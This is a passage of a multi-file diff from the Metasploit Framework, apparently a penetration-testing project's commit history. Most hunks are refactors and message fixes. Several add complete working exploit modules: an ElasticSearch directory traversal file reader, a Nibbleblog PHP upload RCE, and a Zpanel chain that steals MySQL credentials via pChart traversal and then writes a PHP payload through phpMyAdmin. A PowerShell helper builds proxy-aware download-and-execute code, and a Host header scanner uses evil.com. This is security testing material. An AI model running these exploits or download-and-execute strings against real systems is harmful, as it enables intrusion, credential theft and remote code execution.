res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end
end

View File

@ -77,6 +77,22 @@ class Registry
client, root_key, base_key, perm, response.get_tlv(TLV_TYPE_HKEY).value)
end
# Checks if a key exists on the target registry
#
# @param root_key [String] the root part of the key path. Ex: HKEY_LOCAL_MACHINE
# @param base_key [String] the base part of the key path
# @return [Boolean] true if the key exists on the target registry, false otherwise, even
# it the session hasn't permissions to access the target key.
# @raise [TimeoutError] if the timeout expires when waiting the answer
# @raise [Rex::Post::Meterpreter::RequestError] if the parameters are not valid
def Registry.check_key_exists(root_key, base_key)
request = Packet.create_request('stdapi_registry_check_key_exists')
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
response = client.send_request(request)
return response.get_tlv(TLV_TYPE_BOOL).value
end
#
# Opens the supplied registry key on the specified remote host. Requires that the
# current process has credentials to access the target and that the target has the

View File

@ -177,7 +177,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp
def print_dhcp_load_options_usage
print("dhcp_load_options <datastore> [-h]\n\n" +
"Load settings from a datstore to the active DHCP server.\n\n" +
"Load settings from a datastore to the active DHCP server.\n\n" +
"The datastore must be a hash of name/value pairs.\n" +
"Valid names are:\n" +
@@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') +

View File

@ -72,6 +72,22 @@ module Powershell
def self.ignore_ssl_certificate
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
end
#
# Use the default system web proxy and credentials to download a URL
# as a string and execute the contents as PowerShell
#
# @param url [String] string to download
#
# @return [String] PowerShell code to download a URL
def self.proxy_aware_download_and_exec_string(url)
var = Rex::Text.rand_text_alpha(1)
cmd = "$#{var}=new-object net.webclient;"
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
cmd << "IEX $#{var}.downloadstring('#{url}');"
cmd
end
end
end
end

View File

@ -74,6 +74,21 @@ class Output < Rex::Ui::Output
def reset
end
def puts(*args)
args.each do |argument|
line = argument.to_s
print_raw(line)
unless line.ends_with? "\n"
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
print_raw($INPUT_RECORD_SEPARATOR)
end
end
nil
end
end
end

View File

@ -71,22 +71,6 @@ class Output::Stdio < Rex::Ui::Text::Output
end
alias_method :write, :print_raw
def puts(*args)
args.each do |argument|
line = argument.to_s
write(line)
unless line.ends_with? "\n"
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
write($INPUT_RECORD_SEPARATOR)
end
end
nil
end
def supports_color?
case config[:color]
when true

View File

@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
# Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '1.2.7'
spec.add_runtime_dependency 'metasploit_data_models', '1.2.9'
# depend on metasploit-framewrok as the optional gems are useless with the actual code
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
# Needed for module caching in Mdm::ModuleDetails

View File

@ -9,7 +9,7 @@ require 'rex'
class Metasploit4 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Kerberos::Client
include Msf::Exploit::Remote::Kerberos::Client
def initialize(info = {})
super(update_info(info,

View File

@ -9,7 +9,7 @@ require 'rex/java/serialization'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Java::Rmi::Client
include Msf::Exploit::Remote::Java::Rmi::Client
def initialize
super(

View File

@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'DLink User-Agent Backdoor Scanner',
'Name' => 'D-Link User-Agent Backdoor Scanner',
'Description' => %q{
This module attempts to find DLink devices running Alphanetworks web interfaces affected
This module attempts to find D-Link devices running Alphanetworks web interfaces affected
by the backdoor found on the User-Agent header. This module has been tested successfully
on a DIR-100 device with firmware version v1.13.
},

View File

@ -0,0 +1,128 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'json'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Snapshot API Directory Traversal',
'Description' => %q{
'This module exploits a directory traversal vulnerability in
ElasticSearch, allowing an attacker to read arbitrary files
with JVM process privileges, through the Snapshot API.'
},
'References' =>
[
['CVE', '2015-5531'],
['PACKETSTORM', '132721']
],
'Author' =>
[
'Benjamin Smith', # Vulnerability Discovery
'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit Module
'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(9200),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
], self.class
)
deregister_options('RHOST')
end
def check_host(ip)
res1 = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'),
'data' => '{"type":"fs","settings":{"location":"dsr"}}'
)
res2 = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'),
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}'
)
if res1.body.include?('true') && res2.body.include?('true')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def read_file(file)
travs = '_snapshot/pwn/ev1l%2f'
payload = '../' * datastore['DEPTH']
travs << payload.gsub('/', '%2f')
travs << file.gsub('/', '%2f')
vprint_status("#{peer} - Retrieving file contents...")
res = send_request_raw(
'method' => 'GET',
'uri' => travs
)
if res && res.code == 400
return res.body
else
print_status("Server returned HTTP response code: #{res.code}")
print_status(res.body)
return nil
end
end
def run_host(ip)
vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch")
check_code = check_host(ip)
print_status("#{peer} - #{check_code.second}")
if check_host(ip) != Exploit::CheckCode::Appears
return
end
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{/^\//}
contents = read_file(filename)
unless contents
print_error("#{peer} - No file downloaded")
return
end
begin
data_hash = JSON.parse(contents)
rescue JSON::ParserError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
return
end
fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
fname = datastore['FILEPATH']
path = store_loot(
'elasticsearch.traversal',
'text/plain',
ip,
fcontent,
fname
)
print_good("#{peer} - File saved in: #{path}")
end
end

View File

@ -0,0 +1,71 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanServer
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Host Header Injection Detection',
'Description' => 'Checks if the host is vulnerable to Host header injection',
'Author' =>
[
'Jay Turla', # @shipcod3
'Medz Barao' # @godflux
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html']
]
))
register_options(
[
OptString.new('TARGETHOST', [true, 'The redirector target', 'evil.com'])
], self.class)
end
def run_host(ip)
begin
target_host = "#{datastore['TARGETHOST']}"
res = send_request_raw(
'uri' => '/',
'method' => 'GET',
'headers' => {
'Host' => target_host,
'X-Forwarded-Host' => target_host
}
)
unless res
vprint_error("#{peer} did not reply to our request")
return
end
if res.headers.include?(target_host) || res.body.include?(target_host)
print_good("#{peer} is vulnerable to HTTP Host header injection")
report_vuln(
host: ip,
port: rport,
proto: 'tcp',
sname: ssl ? 'https' : 'http',
name: 'HTTP Host header injection',
refs: self.references
)
else
vprint_error("#{peer} returned #{res.code} #{res.message}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end

View File

@ -22,13 +22,15 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
begin
res = connect
connect
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
print_status("#{ip}:#{rport} IMAP #{banner_sanitized}")
report_service(:host => rhost, :port => rport, :name => "imap", :info => banner)
rescue ::Rex::ConnectionError
rescue ::EOFError
print_error("#{ip}:#{rport} - The service failed to respond")
rescue ::Exception => e
print_error("#{rhost}:#{rport} #{e} #{e.backtrace}")
print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
end
end

View File

@ -8,7 +8,7 @@ require 'rex/java/serialization'
class Metasploit3 < Msf::Auxiliary
include Msf::Java::Rmi::Client
include Msf::Exploit::Remote::Java::Rmi::Client
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
!exception.class_data[1].contents.include?('RMI class loader disabled')
return true
end

View File

@ -25,14 +25,16 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
begin
res = connect
connect
banner = sock.get_once(-1, 30)
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
print_status("#{ip}:#{rport} POP3 #{banner_sanitized}")
report_service(:host => rhost, :port => rport, :name => "pop3", :info => banner)
rescue ::Rex::ConnectionError
rescue ::EOFError
print_error("#{ip}:#{rport} - The service failed to respond")
rescue ::Exception => e
print_error("#{rhost}:#{rport} #{e} #{e.backtrace}")
print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
end
end

View File

@ -121,6 +121,8 @@ class Metasploit3 < Msf::Auxiliary
framework_module: self,
)
scanner.verbosity = :debug if datastore['SSH_DEBUG']
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(

View File

@ -214,6 +214,8 @@ class Metasploit3 < Msf::Auxiliary
framework_module: self,
)
scanner.verbosity = :debug if datastore['SSH_DEBUG']
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(

View File

@ -36,16 +36,16 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(target_host)
connect
begin
connect
vnc = Rex::Proto::RFB::Client.new(sock)
if not vnc.handshake
raise RuntimeError.new("Handshake failed: #{vnc.error}")
unless vnc.handshake
print_error("#{target_host}:#{rport} - Handshake failed: #{vnc.error}")
return
end
ver = "#{vnc.majver}.#{vnc.minver}"
print_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}")
print_status("#{target_host}:#{rport} - VNC server protocol version: #{ver}")
svc = report_service(
:host => rhost,
:port => rport,
@ -55,8 +55,9 @@ class Metasploit3 < Msf::Auxiliary
)
type = vnc.negotiate_authentication
if not type
raise RuntimeError.new("Auth negotiation failed: #{vnc.error}")
unless type
print_error("#{target_host}:#{rport} - Auth negotiation failed: #{vnc.error}")
return
end
# Show the allowed security types
@ -64,10 +65,10 @@ class Metasploit3 < Msf::Auxiliary
vnc.auth_types.each { |type|
sec_type << Rex::Proto::RFB::AuthType.to_s(type)
}
print_status("#{target_host}:#{rport}, VNC server security types supported : #{sec_type.join(",")}")
print_status("#{target_host}:#{rport} - VNC server security types supported: #{sec_type.join(",")}")
if (vnc.auth_types.include? Rex::Proto::RFB::AuthType::None)
print_good("#{target_host}:#{rport}, VNC server security types includes None, free access!")
print_good("#{target_host}:#{rport} - VNC server security types includes None, free access!")
report_vuln(
{
:host => rhost,
@ -78,11 +79,6 @@ class Metasploit3 < Msf::Auxiliary
:exploited_at => Time.now.utc
})
end
rescue RuntimeError
print_error("#{target_host}:#{rport}, #{$!}")
raise $!
ensure
disconnect
end

View File

@ -277,4 +277,8 @@ class Metasploit4 < Msf::Exploit::Remote
send_response(cli, @pl)
end
def autofilter
true
end
end

View File

@ -107,6 +107,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def autofilter
true
end
def exploit
@pl = generate_payload_exe
if @pl.blank?

View File

@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The
vulnerability exists while handling user supplied captcha information, and is due to the
insecure usage of sprintf on the getAuthCode() function. This module has been tested
successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment.
successfully on D-Link DIR-605L firmware 1.13 (emulated) and firmware 1.12 (real).
},
'Author' =>
[
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Targets' =>
[
[ 'DLink DIR-605L 1.13',
[ 'D-Link DIR-605L 1.13', # Works on 1.12 as well
{
'Offset' => 94,
'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner

View File

@ -148,6 +148,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def autofilter
true
end
#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
#instead we use a CFML filedropper to embed our payload and execute it.
#this also removes the dependancy of using the probe.cfm to execute the file.

View File

@ -326,6 +326,10 @@ class Metasploit3 < Msf::Exploit::Remote
res
end
def autofilter
true
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)

View File

@ -0,0 +1,160 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'Nibbleblog File Upload Vulnerability',
'Description' => %q{
Nibbleblog contains a flaw that allows a authenticated remote
attacker to execute arbitrary PHP code. This module was
tested on version 4.0.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
],
'DisclosureDate' => 'Sep 01 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Nibbleblog 4.0.3', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def check
cookie = do_login(username, password)
return Exploit::CheckCode::Detected unless cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'cookie' => cookie,
'vars_get' => {
'controller' => 'settings',
'action' => 'general'
}
)
if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def do_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php')
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
vprint_status("#{peer} - Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
'password' => pass
}
)
return session_cookie if res && res.code == 302 && res.headers['Location']
nil
end
def exploit
unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
print_error("Target does not appear to be vulnerable.")
return
end
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
cookie = do_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
vprint_good("#{peer} - Authenticated with Nibbleblog.")
vprint_status("#{peer} - Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
data = Rex::MIME::Message.new
data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
data.add_part('My image', nil, nil, 'form-data; name="title"')
data.add_part('4', nil, nil, 'form-data; name="position"')
data.add_part('', nil, nil, 'form-data; name="caption"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
data.add_part('1', nil, nil, 'form-data; name="image_resize"')
data.add_part('230', nil, nil, 'form-data; name="image_width"')
data.add_part('200', nil, nil, 'form-data; name="image_height"')
data.add_part('auto', nil, nil, 'form-data; name="image_option"')
post_data = data.to_s
vprint_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin.php'),
'vars_get' => {
'controller' => 'plugins',
'action' => 'config',
'plugin' => 'my_image'
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
fail_with(Failure::Unknown, 'Unable to upload payload.')
end
vprint_good("#{peer} - Uploaded the payload.")
php_fname = 'image.php'
payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
vprint_status("#{peer} - Parsed response.")
register_files_for_cleanup(php_fname)
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
end
end

View File

@ -170,6 +170,10 @@ class Metasploit3 < Msf::Exploit::Remote
send_response(cli, @pl)
end
def autofilter
true
end
def upload_payload
print_status "#{peer} - Uploading payload ..."
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"

View File

@ -343,6 +343,10 @@ class Metasploit3 < Msf::Exploit::Remote
send_response(cli, @pl)
end
def autofilter
true
end
# wait for the data to be sent
def wait_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")

View File

@ -0,0 +1,297 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
require 'nokogiri'
require 'uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Zpanel Remote Unauthenticated RCE',
'Description' => %q{
This module exploits an information disclosure vulnerability
found in Zpanel <= 10.1.0. The vulnerability is due to a
vulnerable version of pChart allowing remote, unauthenticated,
users to read arbitrary files found on the filesystem. This
particular module utilizes this vulnerability to identify the
username/password combination of the MySQL instance. With the
credentials the attackers can login to PHPMyAdmin and execute
SQL commands to drop a malicious payload on the filesystem and
call it leading to remote code execution.
},
'Author' =>
[
'dawn isabel',
'brad wolfe',
'brent morris',
'james fitts'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2097' ],
[ 'EDB', '31173' ], # pChart
[ 'OSVDB', '102595' ], # pChart
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 30 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
], self.class)
end
def get_setting(res, setting_name)
n = ::Nokogiri::HTML(res.body)
spans = n.search('//code//span//span')
found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
val = found_element.next.next.text
val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
end
def get_user(res)
get_setting(res, 'user')
end
def get_passwd(res)
get_setting(res, 'pass')
end
def get_dbname(res)
get_setting(res, 'dbname')
end
def dot_dot_slash(uri)
res = send_request_cgi({
'method' =>'GET',
'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
'vars_get' => {
'Action' => 'View',
'Script' => '../../../../cnf/db.php'
}
})
uname = get_user(res)
passwd = get_passwd(res)
dbname = get_dbname(res)
return uname, passwd, dbname
end
def get_token_from_form(res)
hidden_inputs = res.get_hidden_inputs
hidden_inputs.first['token']
end
def get_token_from_url(url)
u = URI(url)
u.query.split('&').each do |param|
param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
return param_value if param_name == 'token'
end
''
end
def grab_sess_and_token(uri)
print_status('Attempting to get PHPSESSIONID')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}"),
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
end
cookies = res.get_cookies
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
if sid.length > 0
print_good('PHPSESSID identified!')
print_good("PHPSESSID = #{sid.split("=")[1]}")
print_status('Attempting to get CSRF token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
'Cookie' => "#{sid}"
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
end
token = get_token_from_form(res)
cookies = res.get_cookies
cookies = cookies.split('; ')
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
if token.length > 0
print_good('CSRF token identified!')
print_good("CSRF token = #{token}")
return cookies, token, sid
else
print_error('CSRF token could not be identified...')
end
else
print_error('PHPSESSID could not be identified...')
end
end
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
old_cookies = cookies
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
'cookie' => cookies,
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
},
'vars_post' => {
'pma_username' => uname,
'pma_password' => passwd,
'server' => '1',
'lang' => 'en',
'collation_connection' => 'utf8_general_ci',
'token' => token
}
})
cookies = "#{res.get_cookies}"
old_cookies = old_cookies.split("; ")
cookies = cookies.split("; ")
new_cookies = "#{old_cookies[0]}; "
new_cookies << "#{old_cookies[1]}; "
new_cookies << "#{old_cookies[2]}; "
new_cookies << "#{old_cookies[3]}; "
new_cookies << "#{cookies[0]}; "
new_cookies << "#{cookies[1]} "
new_cookies << "#{sess_id}"
token = get_token_from_url(res['Location'])
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
'cookie' => new_cookies,
'vars_get' => {
'token' => token
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
end
if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
print_good('PHPMyAdmin login successful!')
return new_cookies, token
end
end
def do_sql(cookies, token, uri)
fname = "#{rand_text_alpha_upper(5)}.php"
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
'cookie' => cookies,
'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
},
'vars_post' => {
'is_js_confirmed' => '0',
'token' => token,
'pos' => '0',
'goto' => 'server_sql.php',
'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
'prev_sql_query' => '',
'sql_query' => sql_stmt,
'sql_delimiter' => ';',
'show_query' => '1',
'ajax_request' => 'true',
'_nocache' => rand.to_s[2..19].to_i
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
end
if res.body =~ /"success":true/
print_good("'#{fname}' successfully uploaded")
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
print_status("Executing '#{fname}' on the remote host")
res = send_request_cgi({
'method'=>'GET',
'uri'=>normalize_uri("#{uri}", "#{fname}")
})
else
print_error("#{res.body.to_s}")
end
end
def exploit
# Checking pChart
res = send_request_cgi({
'method'=> 'GET',
'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
})
# if pChart is vuln version
if res.body =~ /pChart 2\.x/
uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
if uname.length > 0 && passwd.length > 0
print_good('Directory traversal successful, Username/Password identified!')
print_good("Username: #{uname}")
print_good("Password: #{passwd}")
print_good("DB Name: #{db_name}")
cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
print_status('Logging into PHPMyAdmin now')
cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
print_status('Uploading malicious payload now')
do_sql(cookies, token, "#{datastore['URI']}")
else
print_error('It appears that the directory traversal was unsuccessful...')
end
else
print_error("It appears that the version of pChart is not vulnerable...")
end
end
end

View File

@ -32,6 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-7709' ],
[ 'EDB', '37600' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jul/54' ]
],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
@ -552,4 +555,9 @@ class Metasploit3 < Msf::Exploit::Remote
register_files_for_cleanup("c:\\#{@down_file}.exe")
end
end
def autofilter
true
end
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Java::Rmi::Client
include Msf::Exploit::Remote::Java::Rmi::Client
def initialize(info = {})
super(update_info(info,
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
], self.class)
register_common_rmi_ports_and_services
end
def on_request_uri(cli, request)
@ -93,6 +93,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def autofilter
return true
end
def check
connect
@ -141,7 +145,14 @@ class Metasploit3 < Msf::Exploit::Remote
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
end
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
# First try to connect to the original RHOST, since the mbean address may be inaccessible
begin
connect(true, { 'RPORT' => mbean_server[:port] })
rescue Rex::ConnectionError
# If that fails, try connecting to the listed address instead
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
end
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end

View File

@ -8,7 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Java::Rmi::Client
include Msf::Exploit::Remote::Java::Rmi::Client
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do
@ -82,11 +82,9 @@ class Metasploit3 < Msf::Exploit::Remote
))
register_options([
Opt::RPORT(1099),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_autofilter_ports([ 1098, 1099 ])
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_common_rmi_ports_and_services
end
def exploit
@ -97,12 +95,12 @@ class Metasploit3 < Msf::Exploit::Remote
# RuntimeError so it won't wait the full wfs_delay
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
